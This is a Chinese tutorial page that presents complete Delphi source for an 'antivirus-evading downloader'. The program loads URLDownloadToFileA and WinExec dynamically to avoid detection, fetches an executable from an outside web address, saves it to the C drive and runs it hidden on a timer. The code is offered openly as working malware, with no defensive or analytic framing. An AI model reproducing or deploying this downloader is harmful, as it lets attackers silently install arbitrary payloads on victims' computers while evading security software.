delphi 免杀下载者代码


本文整理自网络,侵删。

 program downs;

uses
Windows;

procedure TimerProc(hwnd:HWND;uMsg,idEvent:UINT;dwTime:DWORD); stdcall;
var
URLDown:function(Caller: IUnknown; URL: PChar; FileName: PChar; Reserved: DWORD; StatusCB:pointer): LongWord; stdcall;
WinExecA:function(lpCmdLine: LPCSTR; uCmdShow: LongWord): LongWord; stdcall;
begin
@UrlDown:=GetProcAddress(LoadLibrary('URLMON.DLL'),'URLDownloadToFileA');
@WinExecA:=GetProcAddress(LoadLibrary('kernel32.dll'),'WinExec');
//下载地址 //下载后存放的路径
if UrlDown(nil, 'http://www.xfocusx.com/calcs.exe', 'c:\install.exe', 0, nil)=0 then //下载... =0 完成后运行
WinExecA('c:\install.exe', 0); //运行

Halt; //下完后退出程序,去掉就是循环地下,可以设时间长一点
Exit;
end;

var
Msg: TMsg;
begin
SetTimer(0, 10, 1000, @TimerProc);//安装定时器
while (GetMessage(msg, 0, 0, 0)) do
begin
TranslateMessage(msg);
DispatchMessage(msg);
end;

end.

相关阅读 >>

Delphi trim删除字符串首尾空格

Delphi禁止tedit, tmemo右键上下文弹出菜单

Delphi append 追加内容到文件中

Delphi winapi: isiconic、iszoomed - 分别判断窗口是否已最小化、最大化

Delphi 获取计算机已运行时间

Delphi access 从数据库里随机选择一行

Delphi string.create(char,count)

Delphi fdmemtable1 清空

Delphi 创建圆形或椭圆形窗体

Delphi 递归获取文件夹大小

更多相关阅读请进入《Delphi》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...